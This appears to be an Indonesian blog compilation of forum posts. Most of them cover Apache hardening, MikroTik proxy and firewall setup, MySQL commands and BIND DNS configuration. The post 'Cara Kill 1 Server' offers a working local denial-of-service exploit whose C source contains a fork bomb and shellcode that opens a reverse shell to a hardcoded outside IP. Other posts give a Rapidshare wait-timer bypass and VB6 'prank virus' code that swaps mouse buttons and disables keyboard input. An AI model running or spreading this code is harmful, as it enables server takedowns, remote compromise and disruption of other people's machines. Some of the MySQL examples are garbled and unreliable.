mengamankan web server apache

1. Mengamankan lingkungan jaringan
2. mengamankan Sistem Operasi
3. Mendownload software baru
4. Langkah pertama sebelum menginstall Apache
5. Selektif memilih modul-modul apache
6. Mengcompilasi dan menginstall Software dengan aman
7. Mengkonfigurasi Apache dengan Aman
8. Melakukan chroot pada server
9. Langkah terakhir

10. Panduan-panduan untuk membuat konfigurasi Apache Lebih Aman
a. Pastikan kita menginstall patch-patch keamanan terbaru.
b. Sembunyikan angka VERSI Apache dan Informasi-Informasi sensitif lainnya.
c. Pastikan Apache berjalan di bawah Account User dan Groupnya sendiri
d. Pastikan file-file di luar root website tidak dilayani
e. Matikan browsing Direktori
f. Matikan server side Include (SSI)
g. Matikan Eksekusi CGI
h. Jangan membiarkan Apache mengikuti Link-link simbolis
i. Matikan Multi Option
j. Matikan dukungan untuk file-file .htaccess
k. jalankan mod_security
l. Matikan semua Modul yang tidak perlu
m. Pastikan hanya root yang memiliki akses pada file config dan binary apache
n. Turunkan Nilai Timeout
o. Batasi Request-Request yang Besar
p. Membatasi Ukuran Body XML
q. Pembatasan Concurency
r. Pembatasan Akses Berdasarkan IP
s. Menyesuaikan Setting Keep A Live
t. Menjalankan Apache dalam Lingkungan Chroot
Source:Jasakom

Read More

membuat mikrotik menjadi harddisk Umum

kita bisa menggunakan mikrotik menjadi hardisk eksternal di jaringan...
dengan menggunakan ftp :

Code: Select all
http://biznetnetworks.dl.sourceforge.net/sourceforge/winscp/winscp419setup.exe



semoga terbantu..

Read More

Untuk membuat Mikrotik menjadi proxy server sangat mudah ko...
cuman begini :
[cyber@MutMicrotik] > ip proxy print
enabled: no
src-address: 0.0.0.0
port: 8080
parent-proxy: 0.0.0.0
parent-proxy-port: 0
cache-administrator: "webmaster"
max-cache-size: unlimited

cache-on-disk: no
max-client-connections: 600
max-server-connections: 600
max-fresh-time: 3d
serialize-connections: no
always-from-cache: no
cache-hit-dscp: 4
[cyber@MutMicrotik] > ip proxy set enabled=yes
[cyber@MutMicrotik] > ip proxy print
enabled: yes
src-address: 0.0.0.0
port: 8080
parent-proxy: 0.0.0.0
parent-proxy-port: 0
cache-administrator: "webmaster"
max-cache-size: unlimited
cache-on-disk: no
max-client-connections: 600
max-server-connections: 600
max-fresh-time: 3d
serialize-connections: no
always-from-cache: no
cache-hit-dscp: 4
cache-drive: primary-master
[cyber@MutMicrotik] >
Source:Jasakom

Read More

Perintah perintah MySQL bagi newbee!

Bagi anda yang menggunakan MySQL sebagai Basis Data sistem anda, ada beberapa perintah praktis yang dapat diterapkan setelah masuk ke prompt MySQL.
Untuk masuk ke prompt My SQL dapat dilakukan dengan mengetikan perintah :
unix # mysql
Setelah di prompt mySQL anda tinggal mengetikkan perintah-perintah praktis yang anda kehendaki. Perintah praktis tersebut diantaranya:
1. Menggunakan database yang ada:
mysql> use name_database;
2. Buat databse baru:
mysql> create database nama_database;
3. Buat tabel Baru:
mysql>create table nama_tabel deskripsi_field;
mysql>create table tabelku nama char(30 not null,nim int not null,tgl date not null;

4. Edit tabel:
mysql alter tabel nama_tabel,[add|chane|delete] deskripsi_field;
5. Hapus tabel:
mysql>drop table nama_tabel;
6. Buat data baru:
mysql> insert into nama_tabel (field1,field2,...) values (nilai1,nilai2,...) [where...];
insert into tabelku (nama,nim,tgl) values(dian, 100, 22/02/1980 divkom);
7. Ubah data :
mysql>update table nama_tabel set [field]=[nilai][where..];
8. Hapus Data:
mysql>delete from nama_tabel [where...];
9. Menampilkan tabel dalam database mysql:
mysql> show tables from mysql;
10. Melihat kolom-kolom field dalam table user:
mysql>show fields from user from mysql;
11. Melihat Host, User, Password yang telah diisi secara otomatis
mysql>select Host,use,Password from user;
12. Mengganti password root:
mysql> update user set password=password(mysqladmin where user=root;
13. Hapus entry yang tidak ada user/passwordnya, untuk keperluan security. jangan sampai akses tanpa user bidsa masuk:
mysql> delete from user where user= ;
14. Melihat informasi previlige dari user root:
mysql>select *from user where host=localhost;
15. Menambahkan user baru ke tabel user:
mysql>insert into user values(akhdian.net, dian,password(dian),Y,Y,Y,Y,Y,Y,Y.Y,Y,Y);
16. Agar konfigurasi user terbaru bisa aktif, beri perintah reload:
unix#mysqladmin reload

Read More

[h0w-t0]build DNS server with BIND

sedikit kasih tutorial singkat bagaimana membuat DNS server menggunakan BIND (Berkeley Internet Name Domain). Sebelum kita membangunnya ada sedikit teori untuk mengenal lebih jauh tentang DNS. Ada pepatah mengatakan "tak kenal maka tak sayang" :D , sebelum kita mengerti "DNS poisoning" atau apapun namanya sudah pasti harus mengenal dulu apa itu DNS dan bagaimana dia bekerja. Saatnya sebentar kita pakai topi putih


Komponen DNS
Kompnen DNS dibagi menjadi 4 bagian yaitu:
1. DNS server
Komputer yang bertugas menjalankan program dari server DNS, contoh BIND. BIND menampung database DNS berisi informasi struktur pohon atau pengartian nama dari sebuah permintaan DNS client.
2. DNS Zone
Merupakan penampung dari penamaan untuk server yang berhak atasnya. Contoh sebuah server DNS memiliki otoritas untuk university.ac.id dan university.edu dan setiap zone dapat disertakan satu atau lebih domain
3. DNS resolver
sebuah service yang menggunakan protocol DNS untuk meminta informasi dari DNS server
4. Resource record
arah masuknya database DNS yang digunakan untuk menjawab permintaan client.
================================================================================
DNS resource records types:
TYPE Value and meaning Reference
----------- --------------------------------------------- ---------
A 1 a host address [RFC1035]
NS 2 an authoritative name server [RFC1035]
MD 3 a mail destination (Obsolete - use MX) [RFC1035]
MF 4 a mail forwarder (Obsolete - use MX) [RFC1035]
CNAME 5 the canonical name for an alias [RFC1035]
SOA 6 marks the start of a zone of authority [RFC1035]
MB 7 a mailbox domain name (EXPERIMENTAL) [RFC1035]
MG 8 a mail group member (EXPERIMENTAL) [RFC1035]
MR 9 a mail rename domain name (EXPERIMENTAL) [RFC1035]
NULL 10 a null RR (EXPERIMENTAL) [RFC1035]
WKS 11 a well known service description [RFC1035]
PTR 12 a domain name pointer [RFC1035]
HINFO 13 host information [RFC1035]
MINFO 14 mailbox or mail list information [RFC1035]
MX 15 mail exchange [RFC1035]
TXT 16 text strings [RFC1035]
RP 17 for Responsible Person [RFC1183]
AFSDB 18 for AFS Data Base location [RFC1183]
X25 19 for X.25 PSDN address [RFC1183]
ISDN 20 for ISDN address [RFC1183]
RT 21 for Route Through [RFC1183]
NSAP 22 for NSAP address, NSAP style A record [RFC1706]
NSAP-PTR 23 for domain name pointer, NSAP style [RFC1348]
SIG 24 for security signature [RFC4034][RFC3755][RFC2535]
KEY 25 for security key [RFC4034][RFC3755][RFC2535]
PX 26 X.400 mail mapping information [RFC2163]
GPOS 27 Geographical Position [RFC1712]
AAAA 28 IP6 Address [RFC3596]
LOC 29 Location Information [RFC1876]
NXT 30 Next Domain - OBSOLETE [RFC3755][RFC2535]
EID 31 Endpoint Identifier [Patton]
NIMLOC 32 Nimrod Locator [Patton]
SRV 33 Server Selection [RFC2782]
ATMA 34 ATM Address [ATMDOC]
NAPTR 35 Naming Authority Pointer [RFC2915][RFC2168]
KX 36 Key Exchanger [RFC2230]
CERT 37 CERT [RFC4398]
A6 38 A6 (Experimental) [RFC3226][RFC2874]
DNAME 39 DNAME [RFC2672]
SINK 40 SINK [Eastlake]
OPT 41 OPT [RFC2671]
APL 42 APL [RFC3123]
DS 43 Delegation Signer [RFC4034][RFC3658]
SSHFP 44 SSH Key Fingerprint [RFC4255]
IPSECKEY 45 IPSECKEY [RFC4025]
RRSIG 46 RRSIG [RFC4034][RFC3755]
NSEC 47 NSEC [RFC4034][RFC3755]
DNSKEY 48 DNSKEY [RFC4034][RFC3755]
DHCID 49 DHCID [RFC4701]
NSEC3 50 NSEC3 [RFC5155]
NSEC3PARAM 51 NSEC3PARAM [RFC5155]
Unassigned 52-54
HIP 55 Host Identity Protocol [RFC5205]
NINFO 56 NINFO [Reid]
RKEY 57 RKEY [Reid]
Unassigned 58-98
SPF 99 [RFC4408]
UINFO 100 [IANA-Reserved]
UID 101 [IANA-Reserved]
GID 102 [IANA-Reserved]
UNSPEC 103 [IANA-Reserved]
Unassigned 104-248
TKEY 249 Transaction Key [RFC2930]
TSIG 250 Transaction Signature [RFC2845]
IXFR 251 incremental transfer [RFC1995]
AXFR 252 transfer of an entire zone [RFC1035]
MAILB 253 mailbox-related RRs (MB, MG or MR) [RFC1035]
MAILA 254 mail agent RRs (Obsolete - see MX) [RFC1035]
* 255 A request for all records [RFC1035]
Unassigned 256-32767
TA 32768 DNSSEC Trust Authorities [Weiler] 2005-12-13
DLV 32769 DNSSEC Lookaside Validation [RFC4431]
Unassigned 32770-65279
Private use 65280-65534
Reserved 65535
=============================================================================
Informasi yang dikirim client ke DNS server:
- Nama domain DNS dengan status sebagai FQDN (Full Quallified Domain Name)
- Tipe permintaan yang spesifik ke sebuah sumber daya record berdasarkan tipe atau spesialisasi tipe operasi permintaan
- spesifik kelas untuk nama domain DNS

Resolusi DNS
secara skenario mendasar DNS client menghubungi DNS server untuk melakukan process terhadap database dari sumber daya record.
Proses permintaan DNS
Permintaan terhadap DNS server dibagi 2 proses:
1. Name request yang dimulai dari komp client kemudian dilewatkan ke DNS client untuk resolusi.
2. ketika request tidak dapat diartikan secara lokal, DNS Server dapat melakukan proses untuk mengartikan nama DNS

Instalasi DNS server pada mesin RedHat 9
umumnya setiap distro linux menggunakan paket aplikasi BIND untuk mengaktifkan DNS server nya. Biasanya tersedia di dalam CD distribusinya, disini saya menggunakan bind-9.2.1-16.i386.rpm
ada baiknya kita cek dulu paket tersebut sudah tersedia di dalam sistem kita atau belum
===================================================================================
$ rpm -qa | grep bind
===================================================================================
jika belum tersedia silahkan instal BIND melalui paket rpm nya
===================================================================================
$ rpm -Uvh bind-9.2.1-16.i386.rpm
===================================================================================
jika sudah terinstall kita akan masuk ke tahap konfigurasi, berikut saya asumsikan contoh kasusnya:

router:
eth0 = 202.154.20.2 (public)
eth1 = 192.168.2.1 (private)
default gateway = 202.154.20.1(public)

DNS server:
eth0 = 202.154.20.3 (public)
default gateway = 202.154.20.1(public)

client-client:
192.168.2.2-254
default gateway = 192.168.2.1(private)

step 1
edit file /etc/named.conf
tambahkan baris untuk melakukan penambahan domain terpilih:
=============================================================================
Code:

zone "domainku.or.id" in {
type master;
file "domainku.or.id.zone";
};

zone "20.154.202.in-addr.arpa" {
type master;
file "202.154.20.rev";
};
==============================================================================

step2
setelah dibentuk nama file zone untuk domain,yang dalam kondisi default diletakkan di direktori /var/named, maka berikutnya file /var/named/domainku.or.id.zone dan /var/named/202.154.20.rev perlu dibuat.
namefile
===============================================================================
; Domains defined in this file:
; domainku.or.id.zone
;
$TTL 86400
$ORIGIN domainku.or.id.
@ IN SOA domainku.or.id. hostmaster.domainku.or.id. (
2006042500 ; serial
28800 ; refresh
7200 ; retry
604800 ; expire
86400 ; minimum
)
IN A 202.154.20.3
IN NS domainku.or.id.
IN MX 10 domainku.or.id.
;
localhost IN A 127.0.0.1

gw IN A 202.154.20.1
gw IN A 192.168.2.1
router IN A 202.154.20.2
host IN A 202.154.20.3

www IN CNAME host.domainku.or.id.
ftp IN CNAME host.domainku.or.id.
pop IN CNAME host.domainku.or.id.
smtp IN CNAME host.domainku.or.id.
=======================================================================
step3
namefile
========================================================================
; Domains defined in this file:
; 202.154.20.rev
;
$ORIGIN 20.154.202.in-addr.arpa.
@ IN SOA domainku.or.id. hostmaster.domainku.or.id. (
2006042500 ; serial
28800 ; refresh
7200 ; retry
604800 ; expire
86400 ; minimum
)
IN NS domainku.or.id.

1 IN PTR gw.domainku.or.id.
2 IN PTR router.domainku.or.id.
3 IN PTR host.domainku.or.id.
==========================================================================
resolver pada client
semua aplikasi yang membutuhkan DNS memakai resolver.
proses resolving:
1. mengajukan permintaan terhadap name server
2. menginterpretasikan permintaan (resolve), dan memberikan response
3. mengembalikan informasi kepada program yang memintanya

resolver akan menjawab dengan 2 cara yaitu:
1. melihat isi dari cache yang pernah ditanyakan sebelumnya
2. menanyakan kepada DNS server untuk mendapatkan hasilnya
resolver yang biasa dipergunakan untuk mencari informasi tentang DNS adalah nslookup
untuk mengaktifkan fungsi resolver pada OS Linux adalah dengan melakukan konfigurasi pada file /etc/resolv.conf
namefile
=====================================================================================
# /etc/resolv.conf - DNS setup file
#
domain domainku.or.id
search domainku.or.id
nameserver 202.154.20.2
# antisipasi jika domain dalam terjadi masalah maka akan diteruskan ke DNS public misal ISP
#
nameserver 202.154.1.2 # ns1.ISPku.net.id
nameserver 202.154.3.2 # ns2.ISPku.net.id
=====================================================================================

Source:Jasakom

Read More

Sembunyikan versi apache dan info sensitifnya (CM91)

Edit httpd.conf
=====================================
ServerSignature Off
ServerTokens Prod
=====================================
nah supaya nama apache ganti Setting Prod, server: Apache
ganti aja dengan
"superman"

Read More

Security di Microtik dari serangan DDOS

Sekarang saatnya saya berbagi tips ..
melindungi mikrotik dari serangan DDOS...

carannya adalah dengan mendisable paket icmp..
ketik perintah...
======================================================
[cyber@MutMicrotik] /ip firewall filter> print
Flags: X - disabled, I - invalid, D - dynamic
[cyber@MutMicrotik] /ip firewall filter> add chain=input protocol=icmp action=
drop
[cyber@MutMicrotik] /ip firewall filter> print
Flags: X - disabled, I - invalid, D - dynamic
0 chain=input action=drop protocol=icmp
======================================================
Nah saya tambahkan lagi...
biasanya attacker mencari IP yang sesungguhnya...
IP Publicnya sudah kita sembunyikan dengan settingan NAT yang kemarin...
nah untuk settingan NAT baca tulisan yang kemarin ya...

dan sekarang kita matikan semua service yang terbuka :
=======================================================
[cyber@MutMicrotik] /ip service> set telnet disabled=yes
[cyber@MutMicrotik] /ip service> set ftp disabled=yes
[cyber@MutMicrotik] /ip service> set www disabled=yes
[cyber@MutMicrotik] /ip service> print
Flags: X - disabled, I - invalid
# NAME PORT ADDRESS CERTIFICATE
0 X telnet 23 0.0.0.0/0
1 X ftp 21 0.0.0.0/0
2 X www 80 0.0.0.0/0
3 X www-ssl 443 0.0.0.0/0 none
4 X api 8728 0.0.0.0/0
5 winbox 8291 0.0.0.0/0
========================================================
Lihatlah sekarang saya akan mencoba untuk melakukan ping ke server server :
========================================================
:\Users\grimripper>ping 192.168.10.200

Pinging 192.168.10.200 with 32 bytes of data:

Request timed out.
Request timed out.
Request timed out.
Request timed out.

Ping statistics for 192.168.10.200:
Packets: Sent = 4, Received = 0, Lost = 4 (100% loss),
=========================================================
padahal server saya nyala dan web bisa tetap jalan lho....

Semoga server anda terlindungi dari ddos...
Semoga bermanfaat ...

Source:Jasakom

Read More

Cara Kill 1 Server dg local dos sploit (socket & fork enable)

Bagi yg mao kill web 1 server bisa pake ini ja exploit buat dos bikinan ane si pemalas, syarat: server web kudu socket enabled (ga perlu bisa raw gapapa), kudu musti boleh ngefork

Local Kernel 2.6.x Denial Of Service Exploit with socket function and fork enabled
programmer : mywisdom (murder of odybx and cyber tank)

Download:Disini

Tested on:

- kernel 2.6.28
- kernel 2.6.21
- kernel 2.6.24
greetz:all jasakom crew, all devilzc0de crew, all ycl crew
special thanks:special thanks: gunslinger,peneter, peti mati,wendy182,
v3n0m,flyv666,7460,cyber mutaqqin,comrade, and so on.
Cara pakai:
gcc -o masplo masplo.c
./masplo &
(jika ingin dilakukan berulang ulang)
atau bisa juga begini:
gcc -o masplo masplo.c
./masplo


source filename:odybxkill.c

//Local Kernel 2.6.x Denial of Service Exploit with socket enabled
//C0d3r: mywisdom ( murder of odybx and cyber tank )
//thanks: all jasakom crew, all devilzc0de crew, all ycl crew
//special thanks: gunslinger,peneter, peti mati, v3n0m,flyv666,7460,cyber mutaqqin and so on.
//no race condition sploitzzzz
#include
#include
void peneter()
{
printf("\nOdybx Was Killed version 1.0 local kernel 2.6 dos with socket sendpage enabledn");
printf("\nFree provided by mywisdom creator of kiss of death technic\n");
printf("\nTrying to kill this server in minutes..please wait \n");
}
void xxx()
{
char esc = 27;
printf("%c%s",esc,"[2J");
printf("%c%s",esc,"[1;1H");

}

void v3n0m()
{
char socketz[] ="/0x6a/0x66/0x58/0x6a/0x01/0x5b/0x31/0xc9/0x51/"
"/0x6a/0x01/0x6a/0x02/0x89/0xe1/0xcd/0x80/0x68/"
"/0x7c/0x52/0x9a/0x79/0x66/0x68/0x1a/0x0b/"
"/0x66/0x6a/0x02/0x89/0xe1/0x6a/0x10/0x51/0x50/"
"/0x89/0xe1/0x89/0xc6/0x6a/0x03/0x5b/0x6a/0x66/0x58"
"/0xcd/0x80/"
"/0xbb/0xb8/0x01/0xcd/0x80";
(*(void (*)()) socketz)();

}

void gunslinger()
{
__asm__ ("push $0x66 \n\t"
"pop %eax\n\t"
"push $0x1\n\t"
"pop %ebx\n\t"
"xor %ecx,%ecx\n\t"
"push %ecx\n\t"
"push $0x1\n\t"
"push $0x2\n\t"
"mov %esp,%ecx\n\t"
"int $0x80\n\t"
"push $0x799a527c\n\t"
"pushw $0x0b1a\n\t"
"pushw $0x2\n\t"
"mov %esp,%ecx\n\t"
"push $0x10\n\t"
"push %ecx\n\t"
"push %eax\n\t"
"mov %esp,%ecx\n\t"
"mov %eax,%esi\n\t"
"push $0x3\n\t"
"pop %ebx\n\t"
"push $0x66\n\t"
"pop %eax\n\t"
"int $0x80 \n\t"
"xchg %esi,%ebx\n\t"
"push $0x2\n\t"
"pop %ecx\n\t"
"dup_loop:\n\t"
"mov $0x3f,%al\n\t"
"int $0x80\n\t"
"dec %ecx\n\t"
"jns dup_loop\n\t"
"mov $0xb,%al\n\t"
"xor %edx,%edx\n\t"
"push %edx\n\t"
"push $0x68732f2f\n\t"
"push $0x6e69622f\n\t"
"mov %esp,%ebx\n\t"
"push %edx\n\t"
"push %ebx\n\t"
"mov %esp, %ecx\n\t"
"int $0x80\n\t"
);

}

int main()
{
xxx();
int hack;
int iseng;
for (hack=1;;)
{
while (iseng<2)
{
peneter();
v3n0m();
gunslinger();
}
}

return 0;

}


filename: masplo.c
//Local Kernel 2.6.x with socket enabled Denial of Service Exploit
//C0d3r: mywisdom ( murder of odybx and cyber tank)
//testing main loop
// what the [**sensor] of race condition
#include
int main()
{
int hack;
system("gcc -o odybxkill odybxkill.c");
for(hack=1;;)
{
system("./odybxkill &");
fork();
}

}


Source:Jasakom

Read More

Hack Account Premium Rapidshare

Cara Ini Cuman Berlaku Buat Yang Punya IP Address Dinamis (Bisa Berubah) 'N Yang Gak Punya
Accunt Rapidshare Premium (Buat Yang Punya Premium Cara Ini Cuman Buat Cape Dech

Pertama,
Persiapakan Peralatan Perang Yang Dibutuhkan, Seperti...
*IDM Or Sowtware File Transfer Lainnya,
Kegunaan Software Ini Buat Ngebantu Kecepatan Download Biar Lebih Cepet Image
'N Sebaeknya Install Software Ini Setelah Menginstall Browser Terlebih Dahulu Biar Si Software Dapet Ngambil Link Downloadnya,

Kedua,
*Tulis Script
Code:
javascript:alert(c=0)


'N Simpen Di Notepad Or Text,
Kegunaan Script Ini Untuk NgeReset Conter Time, Coz Counter Time Yang Di Rapidshare Sebenernya Dibuat Dengan Javascript, Lebih Enak Isikan Script Ini Pada Bookmark Browser Or Kita Bisa Menggunakan Add-ons Seperti Tix Now!, Greasemonkey 'N Kawan-Kawannya),

Ketiga,
*Usahakan Menggunakan Browser Firefox (Buat Add-On Tadi), Opera Or Safari Biar Lebih Nyaman,
Kalo Yang Suka IE Silahkan Saja )-l

Ok. Serbuuu....!!!

1. Setelah Kita Menuju TKP
Silahkan Pilih Yang Free User


'N Bakal Timbul Waktu Tunggu Yang ±45 Detik,


2. Hapus URL Tersebut


'N PasteKan Script Yang Tadi Kita Buat Ke URL Yang Kita Hapus Tadi,


3. Enter,
Nggak Perlu Panik Sampai Jungkir Balik, Bilang Saja Ok... :mrgreen: Kaya Lagu Aja dlb:

Secara Tuh Conter Time Langsung Ilang 'N Halaman Siap Downlaod Rapidshare Langsung Tersedia.


4. Tinggal Download Dah Tuh File....

Source Jasakom

Read More

Buat Virus Dengan Efek Jahil

buat para master ga usah baca deh dari pada nyesel baca ginian hehehehe
buat newbie aja ya !

saya di sini akan share code untuk membuat virus mempunyai efek yang jahil bukan membuat virus, kalo contoh virus saya udah pernah share deh disini ato tanya ama om master aja pasti tahu )-l

ok langsung aja udah siap program VB6 mu,
begin:
form1
====================================================
Code:
Option Explicit
Private Declare Function SwapMouseButton _
Lib "user32" (ByVal bSwap As Long) As Long
Private Const PENCET = &H100&

Private Sub Form_Load()
SwapMouseButton PENCET
End Sub
=====================================================

ini kode untuk membalikan mouse key, kiri jadi kanan, kanan jadi kiri, cukup jail kah untuk virus mu
lanjut:
module
=====================================================
Code:
Public Const VK_CAPITAL = &H14
Public Const KEYEVENTF_KEYUP = &H2
Public Declare Sub keybd_event _
Lib "user32" (ByVal bVk As Byte, _
ByVal bScan As Byte, ByVal dwFlags As Long, _
ByVal dwExtraInfo As Long)
======================================================
timer1
======================================================
Code:
Call keybd_event(VK_CAPITAL, 0, 0, 0)
Call keybd_event(VK_CAPITAL, 0, KEYEVENTF_KEYUP, 0)
=======================================================
code diatas untuk membuat fungsi keyboard gak jalan, triknya adalah membuka dan menutup caps lock berulang ulang, jangan lupa timer1 di set dengan interval 1, nah jail gak tuh
lanjut:
form1
=======================================================
Code:
Private Const VK_ESCAPE = &H1B
Private Const KEYEVENTF_KEYUP = &H2
Private Declare Sub keybd_event _
Lib "user32" (ByVal bVk As Byte, _
ByVal bScan As Byte, ByVal dwFlags _
As Long, ByVal dwExtraInfo As Long)
========================================================
timer1
========================================================
Code: Select all
Private Sub Timer1_Timer()
Call keybd_event(VK_ESCAPE, 0, 0, 0)
Call keybd_event(VK_ESCAPE, 0, _
KEYEVENTF_KEYUP, 0)
End Sub
========================================================

code ini berguna mendisable fungsi start, dengan menutupnya berulang-ulang, jangan lupa timer1 set intervalnya 1

Source:Xcode

Read More